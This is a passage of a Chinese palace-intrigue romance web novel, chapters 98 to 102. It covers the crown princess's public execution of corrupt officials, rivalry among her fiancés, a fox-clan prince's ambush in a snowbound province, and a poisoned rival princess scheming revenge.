沈长清把这一切归咎于占有欲,君羲给他的宠爱,就算他不屑要,也不能给旁人! 一行清泪,顺着沈长卿脸颊缓缓流下。 若不是他形容实在有些凄惨,这一幕将极具破碎感、惹人怜爱。 可惜了,沈长卿这个时候顶着一张猪头脸,哭得完全没有任何美感,根本激不起围观群众任何一丝怜惜。 更何况,欣赏美人归欣赏美人,蛇蝎美人却是欣赏不得。 沈长清的母亲沈思文既然出现在了行刑台上,便说明沈思文也勾结倭寇、贩卖同胞…… 沈思文罪不可赦,替她求情的沈长卿更是让百姓们厌恶。 他们以前真是瞎了狗眼,什么漾州第一公子,明明就是趴在他们身上吸血,还要故作清高的蚂蝗。 “太女殿下,不要听他的鬼话!” “沈思文就是和笑面虎,伪君子。” 有时候伪君子比纯粹的恶人更让人讨厌,恶人的恶好歹恶在明面上。 但伪君子不一样,她恶在暗地里,表面上却还要装作一副人畜无害、温文尔雅的样子。 围观的百姓愤然而起,生怕君羲听了沈长卿的蛊惑,真的从轻发落沈思文。 君羲没有说话,她不知道是谁给了沈长卿前来行刑台前求情的勇气,她和沈长卿之间,只有仇恨。 他不知道,她是真的想杀了他吗?这种时候,不乖乖夹着尾巴做人,还敢跑到她面前来晃悠? 君羲都有些被沈长卿蠢笑了。 “沈长卿,你觉得你在孤的面前有任何面子吗?” 沈长卿脸顿时就白了,女人的话语中讥讽异味太重,冷冰冰的,反差感太大了,让他心里如同被蚂蚁啃咬一般的犯疼。 或许是嫁给君凌之后,受到的屈辱超过了他两世为人承受的极限,脑海中上一世的记忆渐渐完善。 沈长清泪眼朦胧地望向君羲,他咬着下唇,心里委屈极了。 他不明白君羲为什么这么讨厌他,就算君羲恨自己同明月一起谋害她的性命,上一世,他和明月也已经为自己的所作所为付出了代价,两命偿一命还不够吗? 君羲,果然是个贪婪的疯子,跟明月不能比。 沈长卿脸色变化不定,一会儿喜一会儿怒,一会儿恨,一会儿悲,一会儿哈哈大笑,一会儿呜呜痛哭…… 他执意问君羲。 “殿下,你的真心本就瞬息万变,我为自己打算有什么错?” “是,我承认,我的确和明月一起犯下了大错,但是你死后,我和明月也付出了惨痛的代价,难道这还不够吗?” “你究竟要无理取闹到什么地步?难不成真要让我和明月死在你的面前,你才会心满意足?” 沈长清字字句句全是控诉,尤其是想到上一世君羲死后,他和明月执掌天下大权的美梦还未实现,便被文武百官和天下百姓施以极刑,凄惨死去,他心里面就越发觉得君羲是在无理取闹。 君羲:…… 就算她真的有错,也不要派沈长卿这种脑子有大病的智障在她面前逼逼叨叨啊。 挺无语的。 “呵,哪里来的疯子乞丐,孤发下去的俸禄便是养了一群废物吗?” 言外之意就是连个手无寸铁的男子都拦不住,让他闯进了刑场,君羲养她们有什么用? 凤羽军汗流浃背了,她们也不知道这个男子是怎么混进来的。 今日前来观望的百姓太多,凤羽军只有少部分驻扎在浩然城,其余都在海岸线上蓄势待发。 一时间,还真没有那么多精力排查进入行刑场的每一个民众。 “太女殿下,是属下疏忽了,属下这就把这疯男子拉下去,绝不让他污了殿下的耳朵。” 看到这里,观望的所有人,也都清楚了君羲的态度。 刽子手不再犹豫,染上了烈酒的大刀落下,尸首分离,鲜红的血流了满地。 沈长卿被堵住嘴,眼睁睁看着母亲在自己面前人头落地,一双眼难以置信地瞪得大大的,双腿不住地蹬动,想要摆脱束缚。 他不相信! 他的母亲就这么死了,他明明都重生了,有着上一世的记忆加持,掌控的先机那么多,却无法救下亲身母亲。 眼泪滚滚而出,沾湿了他那张本就满是血污,满脸青紫的脸庞,更显狼狈。 君羲冷眼看着,心中没有半分波动。 果然,上一世她就是受到了情蛊影响,这才对沈长卿这个故作清高的蠢货百依百顺。 她只是挥了挥手。 “下一批。” 有了前车之鉴,凤羽军将刑场周围把控得更加严实,便是为了防止像沈长卿那样的男疯子跑到君羲眼前碍眼。 总共三批官员,没了沈长卿搅局,每一场处决都进行得十分顺利。 明明是鲜红一片,腥气冲天的刑场,此时此刻,坐在高台上,无情下达斩杀命令的君羲。 在围观百姓们的心中,却不是索命的阎王,而是救苦救难的神祇。 人们都说神祇往往是悲悯众生的,但他们忘了…… 神祇之所以有资格悲悯众生,是因为他实力强劲,能执掌生杀大权。 君羲为民除害,她们自然心悦诚服。 行刑完毕,周围围观的百姓乌压压地跪了一大片, “太女殿下千岁、千岁、千千岁!” 君羲站起身来,俯视臣服的百姓们。 这种山呼海啸般的臣服,正是他心中苦苦追寻的帝王之道。 “贪官污吏,欺压百姓,死不足惜。” “如今的漾州、绥州百废待兴,孤很期待和大家一起修缮两州。” 不得不说,这样的君羲十分有领导风范,短短几句话便将围观的百姓原本有些低落的心情成功转移。 “谨遵太女殿下懿旨。” …… 至此,大凰王朝的内忧终于解决了一部分。 漾州和绥州前来观刑的百姓们,也会永远记得这一天。血流成河满目疮痍的两州,终于迎来了他们的帝王。 “你们都这么看着孤干嘛?孤脸上花了吗?” 君羲回城主府时,特意选了一辆舒适的马车,此时,她一个人坐三个未婚夫郎的对面,挨个敲醒他们迷糊的脑壳。 君羲今天在刑场上,被沈长卿那一番没有过脑子的话恶心到了,急需夫郎美色治愈才能好。 谁知,她在看他们的同时,他们也在看着她走神。 由于血脉相承的原因,纳兰轻尘绝对算得上三个未婚夫中最花痴的那一个。 顶着额头上的红印,直白夸道: “殿下好帅。” 刚刚好是他会很喜欢的类型耶~ 他行侠仗义时,只能一个一个地救,但君羲不一样,君羲的一个决定,往往便可能会影响成千上万人的性命。 纳兰轻尘不只是颜控,他还慕强,比他弱的女子,根本入不了他的法眼。 他本以为这辈子会孤独终老了,没想到遇到了君羲,让他心神为之荡漾。 纳兰轻尘这个二傻子都会说好听的情话了,东方炽和东方凌瞬间感觉到了危机。 “姐姐,你刚刚认真的样子真的很帅!” 谁不喜欢被别人夸呢?还是被自己的绝色未婚夫夸。 君羲摸了摸鼻子,点了点东方炽的额头。 “行了,知道了。” “姐姐,你反应这么平淡的吗?” 君羲疑惑。 “那要如何?” 东方炽硬是挤到君羲身侧,凑在她的耳畔,熟悉的呼吸喷洒在女人的后颈。 “我教你呀,姐姐。” 第99章 君明月气急败坏,毒发吐血 东方凌大手放在君羲后颈,微微用力朝他的方向压。 纳兰轻尘脑海里的警钟狂鸣。 “东方凌!不可以!” 东方凌才不管纳兰轻尘呢,他用实际动作告诉纳兰轻尘到底可不可以。 他深深注视女人的眼眸,距离近得她眼中没有旁人,只有他一人。 “一个吻。” 他轻吻君羲唇瓣,顾及着还有旁人在场,按在女人后颈的手掌克制地收紧,却又极力克制着力道。 吻罢,他笑得一脸得意。 “姐姐,没弄疼你吧?” 君羲还没来得及说些什么,就被不知何时坐过来的纳兰轻尘拦腰一抱,整个人就换了个位置。 改为纳兰轻尘在中间,左边是君羲,右边是东方凌。 “殿下,你的唇上有脏东西,我给你擦擦。” 纳兰轻尘掏出一方白色锦帕,上面还有淡淡的松木香,尾调似乎是桃花香? 很适合纳兰轻尘。 既有剑客的锋锐,也有少年的朝气。 君羲有些着迷于这个味道,纳兰轻尘捏起手帕一角,浅笑着,动作也轻柔,但是意图却坚定不移。 锦帕细细擦过女人唇瓣,直到上面不再有碍眼的水光。 纳兰轻尘长腿一伸,成功阻止东方凌学他转移位置。 双手环胸往身后一靠,笑如春风。 “不行。” 马车高度有限,三个大高个坐着都显得有些委屈,更别提站着了,只能弯着腰。 见东方凌被为难,东方炽也坐不住了,纳兰轻尘本就是他们的死对头,说话不用客气。 “纳兰轻尘,你这就过分了,阿凌不过是想下马车而已,至于像防狼一样吗?” 纳兰轻尘点头。 “至于啊。” 他嗤笑一声。 “你们兄弟俩,不就是狼吗?” 东方炽被挑起了火气,同是未过门的夫郎,谁比谁在殿下心里的地位高? 在一个马车上,凭什么纳兰轻尘就能挨着君羲,他们二人就只能干看着? “纳兰轻尘,有本事我们打一场!” 纳兰轻尘不带怕的,甚至挑衅般揽住君羲的纤腰。 “手下败将,也敢在本少庄主面前嚣张?” 东方炽和东方凌昨晚本是不想欺负纳兰轻尘只有一个人,才提出比剑,谁知现在倒成了被纳兰轻尘用来攻击他的由头。 早知如此,不如以多欺少。 “若不是比剑,输的人还不一定是谁呢。” 纳兰轻尘摇头,啧啧两声。 “输就是输,怎么,少教主这是输不起?” “你说谁输不起啦?” “谁大声就是在说谁!” “……” 君羲看着眼前大型小朋友吵架现场,一脸懵。 到底是哪一句话开始的? 这么突然就吵起来了? “纳兰,阿炽,你们别吵了。” 君羲弱弱扶头,“孤头有点疼,需要安静。” 东方炽和纳兰轻尘这才各归各位,安静了。 一人坐一边,用眼神无声地厮杀。 君羲也是无法了,夫郎多了就是这样的,平日里没有聚在一起还不明显,但凡他们聚在一块,发生口角,谁也不服谁,那才真是头疼。 男子的嫉妒心,也是很强的。 这个时候,东方炽和纳兰轻尘忙着对抗,东方凌坐收渔翁之利…… 他默不作声,只是悄咪咪拉过君羲的手,一下一下地按摩,然后听到君羲说头疼,又贴心给女人按摩头部。 “姐姐,舒服吗?” “唔……左边一点。” “姐姐,这个力道可以吗?” “嗯嗯,很舒服。” 被东方凌安抚好的君羲就像一只慵懒的猫儿,整个人软乎乎地靠在东方凌身上。 “阿凌,你真好。” 东方炽和纳兰轻尘这才发现,在他们争吵时,有个小绿茶正在偷家! 纳兰轻尘在心中暗道:好个东方凌,看上去不声不响的,一天到晚也说不了几句话,心思居然如此深沉! 他们二人本来还想说些什么,但君羲眼底的疲倦让他们都选择了暂时相安无事。 东方炽和纳兰轻尘相对而坐,耳边是东方凌和君羲频率越来越低的交谈声,渐渐地,东方凌的询问得不到女人的回应了。 在坐的三位都是武林高手,能听到君羲逐渐放缓绵长的呼吸声。 三人不约而同看向眼眸合上的君羲,睡着的君羲看上去少了几分凌厉,多了几分乖巧。 马车晃动,越发助眠。 等君羲再次醒过来时,已经是几个时辰过后的事了。 另一边,溟汐回到鲛人族。 鲛人族女皇溟霜正在收拾残局,七个族老把控鲛人族时间已久,族中还有不少鲛人是她们的亲信,藏在暗中,图谋报仇。 溟霜一个不慎,被伤到了右臂。 “君上,您的身体要紧啊!七老余孽就交给属下们捉拿吧。” 溟霜脸色惨白,却遮不住她眼底异常兴奋的神采。 她懦弱了这么多年,终于等到了今日,亲手给爱人报了仇。 “阿木,你看到了吗?本皇给你报仇了。” 溟霜仰头望天,眼角闪烁着泪花。 “可惜了我们的孩子,我们愧对他太多。” 溟汐就是这个时候来的,他自然也注意到了溟霜不自然挂在脖子上的右臂,看上去伤得挺严重。 听到她假惺惺地怀念父王,溟汐冷哼。 “猫哭耗子假慈悲,父王死了这么多年,你现在才给他报仇,也好意思称呼父王为你的爱人?” “还有,我过得很好,不需要你的愧疚。” 溟霜见到溟汐回来,先是眼神一亮,但儿子紧接下来的话,却是让她眸光黯淡。 “汐……” “儿子见过女皇。” 从父王死后,他对自己的亲生母亲就没有一丝好感。 在溟汐看来,若是当初溟霜能够强势一些,疼他、宠他、爱他的父亲根本不会抑郁而亡。 父亲油尽灯枯,即将走到生命终点时,还拉着他的手嘱咐: “阿汐,你的母亲也有苦衷,不要因为我而怨恨你的母亲。” “父亲只希望我的阿汐能够快快乐乐地生活在这个世界上……” 小小的他那时还不懂什么叫生离死别,只能一个劲儿地哭。 他的父亲是那么美好的一个人,却因为遇见母亲,英年早逝。 他能够遵循父亲的遗愿,不去恨溟霜已经是极其难得了,要让他对溟霜有什么好脸色,根本不可能。 父亲最后一句话,还在替他着想。 “阿汐,对不起……” 越是回想曾经的那些遗憾,溟汐就越无法同溟霜和谐相处。 他就像没看到溟霜惨白的脸色、受伤的手臂一样,淡漠开口,问溟霜要人。 “女皇,臣需要一百个对倭寇聚集地一带熟悉的精兵,还请女皇批准。” 溟霜心中苦涩,她同爱人唯一的孩子,终归是同她疏远了。 她不会拒绝溟汐的要求。 哪怕他想要以男子之身登上鲛人族皇位,她也会替他筹谋。 更何况是要人这等小事。 “准。” 溟汐要到人手,转身就走,没有留下只言片语。 妻主还在等他,他也想妻主了。 必须尽快完成地形勘测,将大凰被倭寇掳走的百姓全都解救出来,此行才算是功成圆满。 溟汐行动力很强,召集一百个精兵后,便换上鲛人族特有战甲,带领她们前去查探倭寇所在地地形。 “羲羲,等我。” 但凡是君羲所求,他都会全力相助。 …… 玉京城,君明月得知君羲还活得好好的消息之后气急败坏,将房中能砸的东西全都砸了个遍。 “废物!” “一群废物!” “君凌这个残废,难怪之前斗不过君羲,脑子里装的全都是水吧?” 君明月气得要命,她不懂君凌到底是什么品种的蠢货。 大势已去的情况下,居然还不顾手底下人劝阻,跑到君熙面前刷存在感! 这不是摆明提醒君羲,赶紧清算她吗? “蠢笨如猪!” 在她面前,跪了一排身着暗色衣服的暗卫,她们全都低着头,试图降低自己的存在感,不去直面君明月的怒火。 君明月是越想越气,她自以为找到了一个能够联手和她制衡君羲的盟友,却不想这个盟友智商有限,现在已经身首异处了。 “跪跪跪,遇到事情你们就知道跪!” 君明月来回踱步,她心里清楚地知道,等君羲荡平倭寇、大胜归朝,第一时间便是清算她这个妹妹。 君明月脑瓜被气得嗡嗡疼,胸腔也疼得慌,这让她情绪越发暴躁。 “本王养你们便是让你们‘’遇事不决,下跪解决’的吗?还不快给本王想想办法,怎样才能杀了君羲?” “殿下……” “噗——” 君明月气急攻心,又忧思过度,居然吐了一口血。 跪着的人瞬间慌了,也忘了刚刚想说什么了,全都用担心的眼神看着君明月。 “殿下,你怎么了?怎么会突然咳血?” “殿下,属下这就去找太医!你先放松心情,不要病上加病了。” 君明月诧异,她一向惜命,平日里都是用极好的补品药膳温养着身体,给她把平安脉的太医都说她这具身体很健康。 怎会突然吐血? 一时间,她脑海中闪过许多阴谋论…… 会不会是有人给她下毒? 君明月倒吸一口冷气,不知不觉间,她的衣食住行都被严格管控,谁能有这个本事,悄无声息给她下毒? 她只觉得脑袋一片乱麻,若不是今日气急败坏之下吐了一口血,还不知会被隐瞒到什么时候! “来人,给本殿请太医院院首!” 第100章 未婚妻,未免长得太着急 事分轻重缓急。 比起要在不久之后才落下来的刀子,君明月更怕她的身体现在就出了什么问题? 跪着请罪的手下们如蒙大赦,麻溜站起身来,生怕跑得再慢一些,又要被盛怒的君明月迁怒。 好在,君明月此刻最担心的就是自己的身体情况,对于手底下一窝蜂全跑去请太医的事情,没有提出任何异议。 此时,蹲在房顶上的羞花笑得一脸阴险。 她在心里疯狂给君心摇旗呐喊! 真不愧是太女殿下,运筹帷幄,决胜千里之外。 君明月以为是自己在算计太女殿下,殊不知,她的一举一动都在太女殿下监视下。 太女殿下更是未雨绸缪,早早便给君明月准备了西域奇毒“蚕食”,就算现在太医能察觉,也早就毒入骨髓,为时已晚。 更别提,太医根本不会察觉…… 或者说,太医院现在全都是太女殿下的人,就算察觉了,也不会说实话。 君明月败局已定! 羞花决定在观望一会儿,看够了君明月的热闹,她便写密信让阿元给太女殿下送过去。 想必,太女殿下若是听到君明月这个狼心狗肺的白眼狼中毒已深的消息,心情会好上几分。 羞花在心中暗衬,也算君明月临死前有点价值了。 岚州,暴雪肆虐。 君羲考虑到上一世岚州雪灾的严峻,之前在玉京城中抄没的财产,九成全都给了顾青颖,令她用于岚州赈灾。 顾青颖是除了君羲外,对岚州雪灾最清楚的人。 若不是大凰现在她能用的人太少,其实,顾青颖才是最合适的钦差大臣。 但,君羲需要一个人坐镇玉京城,帮她稳定后方。 所以,她斟酌之下,才选择派了王紫汐去岚州赈灾。 相比漾州、绥州的复杂情况,遭受雪灾最严重的岚州以及被雪灾波及到的钦州、蔼州,赈灾进行得非常顺利。 王紫汐此刻站在临时搭建的营帐中,正眯眼听下属的汇报。 “大人,赈灾粮被劫了……” 这已经不是第一次赈灾粮被劫,奇怪的是,每次赈灾粮被劫,押送粮草的人都没能看清劫匪的模样。 甚至连衣着打扮有什么特征都回忆不起来,只能记起,被劫了。 王紫汐感觉有些棘手。 “这次……依旧没看清劫匪相貌特征?” 那属下支支吾吾,她自己也觉得非常离谱,但事实就是这样,也只能如实汇报。 “回大人的话,没、没看清。” 王紫汐闭了闭眼,难不成,真遇到什么非自然事件了不成? 她在脑海中仔细回忆,这几次赈灾粮被劫的规律。 劫匪貌似并不贪心,赈灾粮多的时候劫匪不会出现,只有在赈灾量数量较少时,劫匪才会出手。 仿佛劫匪的本意并不是劫走赈灾粮…… 但是,劫匪既不露面,也没有任何的相貌特征。 王紫汐这半月苦思冥想,想破了脑袋,也没想明白劫匪到底有什么不可告人的目的。 “哎……” 真是头疼,王紫汐头一次担任钦差大臣便出现这样的岔子,偏偏还想不到很好的办法解决。 太女殿下可不会看她遭遇了什么,君羲只会关注事情的结果。 若她此次办事不力,还不知会迎来怎么样的惩罚…… 王紫汐的担忧,涂山烈并不知晓。 涂山烈,雪山狐族。 岚州是大凰北面最北的地境,与岚州接壤的便是十万皑皑雪山。 举目望去,是无边无际的白。 一年四季,终年飘雪,根本不适合人类居住。 十万雪山虽然广袤,但并不适合人族居住,再加上深入雪山作战,很有可能还没找到作战目标,就在雪山中迷失,得不偿失。 所以,大凰王朝的历代帝王都没有打过将十万雪山纳入大凰版图的想法。 十万雪山中,孕育着能适应冰雪酷寒环境的兽人族群,其中,雪山狐族便是势力最为庞大的一族。 而且,值得一提的是,雪山狐族并不是女尊男卑,而是男尊女卑。 是这个世界上唯一的男尊族群。 涂山烈就是这一代皇子中声望最高,实力最强,最有机会登顶狐族王位的储君人选之一。 “劫匪”就是他派出吸引大凰官员注意力的饵。 据小道消息,他那被族中兄弟算计,强塞给他的未婚妻,就在赈灾队伍里。 涂山烈的容貌霸气内敛,脸部线条硬朗,生了一双暗红色的眸,看上去便十分不好惹。 他身高体重足有两米,身披墨色大氅,墨色的领毛将男人冷峻霸气的容颜衬托得贵气十足。 男人光是站在那里,便像一座威严不可撼动的山峦。 “如何,可有打探到本王那素未谋面的未婚妻的消息?” 涂山烈本打算在出嫁日玩儿一出李代桃僵,让涂山靖自食恶果,但计划赶不上变化。 大凰境内岚州遭受了严重的雪灾,十万雪山只会更加严重。 雪崩时有,已经到了不得不重视的地步。 十万雪山中,种植耐寒作物本就困难,以往还能自给自足,如今却是到了余粮耗尽,穷途末路。 涂山烈有野心,也有魄力。 他的想法立马就变了,瘦死的骆驼比马大,大凰王朝身为曾经的天朝上国,就算如今快走到王朝末路,适宜的种植环境以及多种多样的作物,都远非苦寒的十万大山能比。 只要能和大凰王朝达成合作,便能解困。 所以,他才苦心设局,想借机和大凰储君接触。 可惜…… 涂山烈并不知道,君羲的确是御驾亲征,离京赈灾,可惜她去的是南方,而不是北方。 为了保障大凰储君的安危,不知散布了多少假消息,迷障重重,境内异性王都蒙在鼓里,更别提境外的十万雪山了。 大凰储君的消息,并不是他们想打探就能打探得到的。 “王爷,经打探,岚州临时搭建的营地中,处于最中心的营帐最是豪华,所有的人都对那营帐中的人言听计从。” 那属下浑然不知,险些将涂山烈带进沟里去了。 他思索一番,推测道: “想必里面便是大凰的太女殿下。” 涂山烈做了个决定,决定亲自出马,去会一会他的未婚妻。 “是与不是,本王亲自去一趟就知道了。” 与此同时,涂山靖安插在涂山烈身边的暗线将涂山烈即将出十万雪山,进入大凰境内的消息,传了出去。 烈王离境,时机成熟。 涂山靖展开纸条,就看到了上面的讯息。 嘴角上扬,他知道,机会终于到了。 只要能设计涂山烈成功被君羲强取豪夺,狐王之位,非他莫属! 狐族不会接受一个屈居于女人身下的皇子做狐族的王。 这是一个早就布好的陷阱,早在三年前,涂山靖就开始布局了。 “涂山烈,大凰了不是狐族,女尊男卑,希望你到时候不要太难过了哦。” “哈哈哈,本皇子登上王位后,定然会将你卖身救族的事迹大肆宣扬,你就安心的嫁人吧!” 涂山靖心里的算盘打得噼啪作响,就等涂山烈踩中陷阱了。 “阿烈,你可不要怪皇兄,要怪就怪你自己太过看重族中那群低贱的平民……” 涂山靖嘴上说着假仁假义的话,眼底寒光闪过,恨不得涂山烈立马中计。 他朝暗中的护卫招了招手,用内力传音吩咐下去。 “你们去,这样……” 另一边,王紫汐还不知道,涂山烈和涂山靖两兄弟已经在算计“她”了。 她也在设计,用少数粮草引劫匪出现。 这次的赈灾粮,里面全是干草,一颗能吃的粮食都没有。 王紫汐眯起眼,这次她亲自出马,混在暗中埋伏的队伍中。 她倒要看看,究竟是何方神圣,居然如此胆大包天,敢劫大凰王朝的赈灾粮! “都准备妥当了?” “回大人的话,全部都准备妥当了。” 王紫汐点点头,示意她已经知道了。 “待会儿劫匪一出现,听我号令,在适合的时机冲上去,将劫匪一网打尽。” 三方人马,汇集一处,各自有各自的算计。 茫茫雪地中,一行赈灾粮队伍在雪地上缓缓行进,马蹄在洁白的雪上留下一长串马蹄印。 王紫汐等人为了能抓住劫匪也是煞费苦心,她们已经在这荒郊雪地里趴了整整一天一夜,就是为了不让劫匪起疑心。 近了…… 运送赈灾粮的队伍,不知为何突然待在原地一动不动。 表情呆滞,眼神变幻不定。 王紫汐屏住呼吸,她想起了曾经读过的一本志怪杂谈—— 十万雪山,山中有狐族,善迷阵,蛊惑人心。 难怪,之前回去汇报情况的士兵都没能记住劫匪的模样,原来是被狐族特有的能力迷惑了心智,这才导致记忆不全。 涂山烈站在雪山最高处,身后是五千狐族亲兵。 “活捉。” 一声令下,王紫汐才发现,这次劫匪的目标不是赈灾粮,而是…… 人! 她们自以为天衣无缝的伪装,其实早就被涂山烈看破。 王紫汐都没反应过来,只记得神思恍惚一瞬,埋伏的队伍以及运输的队伍就被涂山烈控制了。 “你,你是谁?” 涂山烈眯起眼睛,君羲明明就是双十年华的年轻女子…… 他这未婚妻,未免长得太着急了些。 “你就是大凰太女殿下?” 第101章 不弃兄,我保证 是君羲! 一定是君羲给她下的毒! 头发花白的太医院院首笑眯眯说着君明月没中毒,可她明明感受到力不从心,吐了血后内里感觉一阵空虚。 君明月心里突然一阵恶寒,她开始意识到,太医院都是君羲的人,她们对自己看似恭敬,实则全都带上了虚伪的面具。 偌大的皇宫,是不是到处是君羲的眼线? 那她的所作所为,是不是也全暴露在君羲眼皮子底下? 君明月久违地想起来,若不是君羲对她万般纵容,她一个已经及笄的皇女是决计不可能留在玉京城的。 君羲的确是这一代最优秀的皇女,君明小君心三岁,从小便听着文武百官如何夸奖她这位文韬武略样样拔尖的长姐。 君明月一直生活在君羲的光环之下,但凡是君羲在的地方,旁人就会自然而然资质平庸的她。 所以,君明月对君羲的诋毁,大都是源于对君羲的嫉恨。 她不甘心一直当君羲的陪衬品,所以,她学会讨好卖乖,学会伪装内心,就是为了得到君羲宠爱和信任。 本就是凭借着君羲毫无条件的宠爱和信任才能够走到高位,如今君羲想将给予君明月的宠爱和信任都收回去,她就会被打回原形。 早在君羲被封储君后,皇宫就成了一铁桶,到处都是君羲的眼线。 君明月心里一阵后怕,君羲肯定都知道了! 她全都知道了…… 所以,等君羲凯旋,便是自己的死期。 不行,她绝不能坐以待毙! 君明月心中翻涌过许多情绪,面上却是温和一笑。 “多谢院首,这次多有劳烦,是本公主小题大做了。” 太医院院首盯着君明月的眼睛,似乎想从里面看出些什么。 但很遗憾,君明月将情绪收敛得很好。 “无妨。” “来人,送院首回去,务必恭恭敬敬的。” 见实在是无法从君明月眼中看出什么,太医院院首笑着回应。 “明月公主不必客气,医者父母心,这跟这都是老臣该做的。” 君明月心中冷笑,什么医者父母心,全都是君羲的走狗! 两人面上都笑眯眯的,看上去交谈甚欢。 君明月耐着性子同太医院院首虚以委蛇,这才终于将人送走。 关上房门,屏退左右。 这才一屁股坐在床上,冷汗湿透了后背。 “长姐,这就是你说的会一直信任我吗?” 君明月眉目阴鸷。 “既然长姐不仁,那便不能怪皇妹不义了。” 反正她也中了奇毒,估计也活不了多久,不如把君羲在意的人拉下其余一两个垫背,也能让她追悔莫及。 “呵呵呵……” 她捂着嘴低低地笑了笑,声音压抑而疯狂,就像一个精神状态堪忧的疯子。 “长姐,好长姐。” “你放心,明月这就送你心爱的男人们下地狱!” 自从君羲铁血手段镇杀贪官污吏,接管漾州、绥州过后,君明月就再也打探不到君羲的任何信息。 最了解你的,往往是你的敌人。 君明月心中一直将君羲视作自己争权夺利路上最厉害的劲敌,她自诩对君羲还算了解。 但凡是君羲能够封锁信息,便说明她离成功已经是近在咫尺了。 她在心中暗自腹诽,君羲还真是命大。 这次御驾亲征,先是遇上暴雪天气,再是幽雾谷三方势力联手布局伏杀,然后又是遭遇倭寇,这都要不了君羲的命…… 君羲果真就是个祸害! 君明月绞尽脑汁思索,君羲如今远在天边,她鞭长莫及。 君羲的确是去了南方,但,东宫里可还有她在意的三位夫郎。 其中一位是当朝丞相顾青颖的嫡长子,还有两个,一个是神医谷少谷主慕夜声,另一个是户部尚书之子王权不弃。 顾青颖如今受命监国,大权在握,她不能轻易得罪。 但慕夜声和王权不弃,她可就没那么多顾忌了! 要如何才能一箭双雕,既能杀了慕夜声,又能料理了王权不弃呢? 慕夜声被月江离打伤,内伤严重还在恢复中,自身也不善武功,相比王权不弃来说,好对付得多。 慕夜声此人,看似像谪仙一样清冷仙气,旁人见到他这自带距离感的长相,自然而然便会认为他是一个凉薄无情之人。 但事实上,完全相反,慕夜声由于从小学医之故,常怀仁慈悲悯之心,重情重义。 之前他宁愿望着自己身受重伤的风险,也要替王死的手下讨回公道,可见一斑。 君明月脑中思索片刻,很快,一条毒计在脑海中成型。 她唇角无声上翘,勾起一抹阴险恶毒的弧度。 “呵,不是喜欢救人吗?这次……就让你救个够。” 同慕夜声一同长大的寒松,被月江离俘虏后,受尽折辱,本想自我了断,好巧不巧,她刚好救了他。 不过,君明月没有透露出自己的真实身份,而是一辆马车将他送去了岚州。 并给寒松传递的假消息,说慕夜声为了救济雪灾,如今也在岚州,他顾及着自己的主子,伤口都还没好全便掉头去了岚州。 想不到当初随手救下的一颗棋子,如今却成了她捅向君羲心口最锋利的一把刀。 “世事无常,姐姐,我们走着瞧。” 君明月好心情哼着小曲,突然间喉咙有血气上涌,喉咙管痒痒的,想咳嗽。 她终究没憋住,咳嗽声惊天动地,咳了好多血出来。 猩红的血丝染白了她的牙,配上她阴鸷的笑意,看上去就像一只生食人肉的恶鬼。 “暗一,你去……” 君羲出征那天,他拖着病体送了君羲一程后,回东宫后,半夜,他便发了高热。 幸好有王权不弃在一旁照顾,慕夜声在床上躺了半月,身体总算好了七八成。 “不弃兄,我真的已经好得差不多了。” 慕夜声真的怕了王权不弃这个死脑筋,君羲临走前,嘱咐王权不弃要照顾好慕夜声,他还真就十分认真在照顾病人。 每日三碗黑乎乎的苦药端上来,王权不弃就在一旁监视,就算亲眼看到他一口气将药喝了下去,仍旧不放心,还得在一旁守着,等药效发挥得差不多,才会隐于暗处。 王权不弃此刻也在认真完成君羲给他的临行嘱托。 他冷漠脸,摇头。 “不行,你的风寒还没好全。” 慕夜声在床上整整躺了半个月,浑身骨头都快瘫软了,再躺下去,他感觉自己就要发霉了。 他无奈抽了抽嘴角,试图同王权不弃讲道理。 “不弃兄,我是神医谷少谷主,当今天下医术最好的人之一。” “你可别听什么医者不自医的瞎话,我自己的身体情况自己最了解,真的已经好得差不多了。” 他眼巴巴地望着不远处的大门,眼里全是渴望。 你就让我出去放放风?求你了。” 王权不弃本就不善言辞,君羲的所有夫郎中,他本就和慕夜声关系最好。 他端详一眼半坐在床头的慕夜声,男子精神似乎真的很不错,眸中神采奕奕。 他心里有几分动摇,慕夜声说得对,养病之人也不能一直待在封闭沉闷的房间里,适当的放风有利于病情恢复。 而且,慕夜声的确是他见过的医术最好的大夫。 “不弃兄,我保证,没有拿自己的身体开玩笑!” “我还要去岚州救济灾民,你知道的……” 王权不弃总算被说动,抱着剑微微往旁边侧了侧身子。 “半个时辰。” 慕夜声快高兴疯了,若不是他顶着一张谪仙般清冷仙气的脸,看上去怕就是一个傻乎乎的二愣子。 “一言为定。” 与此同时,院中一个不起眼的洒扫男侍将消息传递了出去。 君明月收到消息,也高兴疯了。 她自认为制定了一条天衣无缝的毒计,可惜计划很圆满,现实很骨感。 君明月发现根本无法将手插进东宫里面去,慕夜声一直待在霁月殿中养病,霁月又是整个东宫防备最森严的地方。 她根本没有机会接触到慕夜声,更别提将寒松还活着的消息不经意透露给慕夜声,引他入局了。 现在真是…… 踏遍铁蹄无觅处,得来全不费功夫! “哈哈哈,就连老天爷都站在我这边!” “暗一,能够证明寒松身份的贴身物件以及密信准备好了吗?” “殿下放心,暗影一定不辱使命!” 花开两朵,各表一枝。 慕夜声还不知道,他尚且抱病在身,就已经有人蛰伏在暗处,阴森森的想要算计他了。 “冰雪初融,万物复苏。” 慕夜声此刻正在御花园,他感慨一番春色满园的好风光,深深吸了好几口新鲜的空气。 果然还是外面舒服,灵魂都感觉被大自然净化了。 王权不弃在一旁,手中拿着银狐大氅。 “天冷,你大病初愈,不可任性妄为。” 说着,不容拒绝地将厚重的银狐大氅披在谪仙长相的男子身上。 “谁?” 慕夜声有些不安,刚刚突然从假山后面发出动静。 “不弃兄,你去看看,我没事的。” 王权不弃抿唇,坚定摇头。 “不行,你武功不行,若是有人想调虎离山,你处境就危险了。” 慕夜声笑笑。 “没关系,暗中有保护我的暗卫。” 王权不弃这才想起来,君羲出征之前,的确特意安排了十个凤羽军暗中保护慕夜声。 他没做声,快速飞身朝假山方向而去。 早早便在一旁静待时机的男侍冲了出来,险些把慕夜声撞了一个趔趄。 “慕侧夫恕罪,奴才不是故意的。” 慕夜声刚想说什么,那个撞到他的奴才便飞快往他身上丢了一样东西,然后就快步走了。 王权不弃这时也探查完了假山,假山后并没有什么异常。 刚好回来便见到这一幕,哪里还不明白,自己真是被调虎离山了。 “慕兄,这是信?” 第102章 鱼儿,上钩了 王权不弃的声音让慕夜声回过神来,收回注视在逃跑男侍离开方向的目光,捡起地上的信封。 “不弃兄,刚刚那个男侍不是普通人。” 王权不弃点头。 不过一晃眼的功夫便跑得不见人影,如若不然,他还能将人抓起来严刑审问。 